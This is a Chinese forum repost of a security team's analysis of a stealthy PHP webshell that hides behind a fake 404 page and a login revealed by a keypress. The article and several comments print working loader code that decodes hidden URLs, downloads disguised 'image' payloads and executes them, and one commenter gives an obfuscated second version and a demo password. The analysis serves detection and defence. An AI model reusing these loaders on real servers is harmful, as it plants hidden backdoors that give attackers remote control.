Moke|墨客

 找回密码
 立即注册
搜索
查看: 10095|回复: 0

PHP后门新玩法:一款猥琐的PHP后门分析

[复制链接]

310

主题

10

回帖

1688

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
1688

优秀版主荣誉管理论坛元老

发表于 2016-6-23 11:04:46 | 显示全部楼层 |阅读模式
   0x00 背景
  近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。
0x01 细节
  Webshell代码如下:
#!php
<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>  
  关键看下面这句代码,
  这里执行之后其实是一张图片,解密出来的图片地址如下:
  然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,
  如图所示:


  分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,如下图:


  首先我先看一下它的前端html代码,其中有这么一段js程序
  这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键


  所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),如图所示:


  再回到服务端php代码中,可以看到程序用的是对称加密,并且将登陆密码作为加密key,代码如图所示:


  再看init()的逻辑


  如图所示,先看这句代码
  根据这个解密逻辑我们可以推出,这里其实是将字符串true做了以下加密处理,
  所以当输入正确密码的时候@gzuncompress返回字符串true,然后程序调用setcookie给客户端返回$_COOKIE['key'],然后值得提一下的是后面这个exit('{"status":"on"}'),这里它与前端代码联系很紧密,我们看前端有个callback函数,如下
#!js
function callback() {
var json = eval("(" + this.responseText + ")");
if (json.status=='on'){
window.location.reload();
return;
}
if (json.notice) {
$("notice").style.display = "block";
$("notice").innerHTML = json.notice;
sideOut();
}
}  
  这里执行exit('{"status":"on"}')会返回json串{"status":"on"},此时前端js代码classback()获取到此响应会执行window.location.reload()刷新,再次请求正好带上前面获取的cookie,然后执行判断COOKIE的逻辑,如图所示:


  这里跟前面POST的逻辑一样,下面当判断为'true'以后,这里又请求了一张图片,pack出来地址为http://2012heike.googlecode.com/svn/trunk/code.jpg,然后调用_REQUEST获取图片内容,解密解压之后再eval,分析之后发现code.jpg中才是真正的webshell经过加密压缩之后的内容。这里我跟踪了一下代码打印出了真正执行的webshell的内容:


  登陆成功之后的webshell如下图:


0x02 总结
  这是一个高度隐蔽的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经过层层加密处理之后保存到图片当中,丢到服务器上只留下一个url,并且url还是经过加密处理的,所以对外看没有任何特征可寻,过掉了大多数waf以及杀软的查杀。。作者的利用思路新颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!
  from:http://blog.wangzhan.360.cn/?p=65

小小泥娃2014-07-14 10:10:18  
  好猥琐啊
  思路很好啊,先到http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85 获取代码,然后使用 preg_replace执行这些代码,通过执行获取的代码,密码验证之后,再到http://2012heike.googlecode.com/svn/trunk/code.jpg获取webshell并执行,niubility!!!
  这个链接打开之后什么都没有?还是有什么玄机?http://require.duapp.com/session.php

王小二2014-04-12 09:19:19  
  牛逼
Pany自留地2014-04-09 22:33:25  
  猥琐。。
第二版发布2014-03-28 15:02:49  
  pack('c*', 0x70, 0x61, 99, 107),'c' => $i('c*', 99, 97, 108, 108, 95, 117, 115, 101, 114, 95, 102, 117, 110, 99),'f' => $i('c*', 102, 105, 108, 101, 95, 103, 101, 116, 95, 99, 111, 110, 116, 101, 110, 116, 115),'e' => $i('c*',0x63,0x72,0x65,0x61,0x74,0x65,0x5f,0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e),'h' => $i('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f7631'),'s' =>$i('c*',0x73,0x70,0x72,0x69,0x6e,0x74,0x66));if(!isset($_SESSION['t'])){$_SESSION['t'] = $GLOBALS['f']($GLOBALS['h']);}$GLOBALS['c']($GLOBALS['e'](null, $GLOBALS['s']('%s',$GLOBALS['p']('H*',$_SESSION['t'])))); ?>
  5。5以后无效吧?
  防火墙上可以设置禁止WEB服务器主动外联,防止lcx外联
龙臣2014-03-20 17:59:10  
  也不能这么说吧,不过这种确实在特定环境很有效的,学习了。

小贱人2014-03-20 15:28:12  
  挺猥琐的呀
呃呃呃2014-03-20 14:22:14  
  如果web服务器不能访问外网,那也就称不上是web服务器
  第二版获取方法 方法一 直接复制第一版代码。。。 运行即可看到第二版代码。。 方法二参考演示demo 此demo也是第一版代码执行后的效果 http://require.duapp.com/session.php
  思路很猥琐,不过从网络下载加密后的代码有一定局限性,如果web服务器无法访问外网,那么webshell也就不能用了。

insight-labs2014-03-20 06:28:02  
  googlecode好像间歇被GFW干扰啊……

KingBin2014-03-20 00:48:55  
  20号发布第二版 联系[email protected]

龙臣2014-03-19 23:56:22  
  长姿势了啊
  虽然我看不懂,但是确实感觉挺猥琐的

萧然2014-03-19 22:50:02  
  求代码

Xeyes2014-03-19 22:04:38  
  猥琐!!!!

genxor2014-03-19 21:49:12  
  第二版代码可否公布
  知道我底部为什么了加了个E?因为我曾用名小E
  貌似不能贴代码,需要的发我邮箱联系
  不要冒充我,你知道我用的测试密码是什么么?我来告诉你是demo123456,也就是密码是demo123456 你知道我如何算的3649图片位置?我来告诉你,那是因为我在写入之前加入了特征符[G] 用来区分图片和代码的位置?你知道我已经发布了第二版了么?来哥告诉你最新的 pack('c*', 0x70, 0x61, 99, 107), 'c' => $i('c*', 99, 97, 108, 108, 95, 117, 115, 101, 114, 95, 102, 117, 110, 99), 'f' => $i('c*', 102, 105, 108, 101, 95, 103, 101, 116, 95, 99, 111, 110, 116, 101, 110, 116, 115), 'e' => $i('c*',0x63,0x72,0x65,0x61,0x74,0x65,0x5f,0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e), 'h' => $i('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f7631'), 's' =>$i('c*',0x73,0x70,0x72,0x69,0x6e,0x74,0x66) ); ?>
结扎师2014-03-19 18:34:35  
  奇技淫巧啊。。
  确实猥琐→_→学习了。


       

                                                    


来源链接: http://drops.wooyun.org/papers/1215
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

 

 

快速回复 返回顶部 返回列表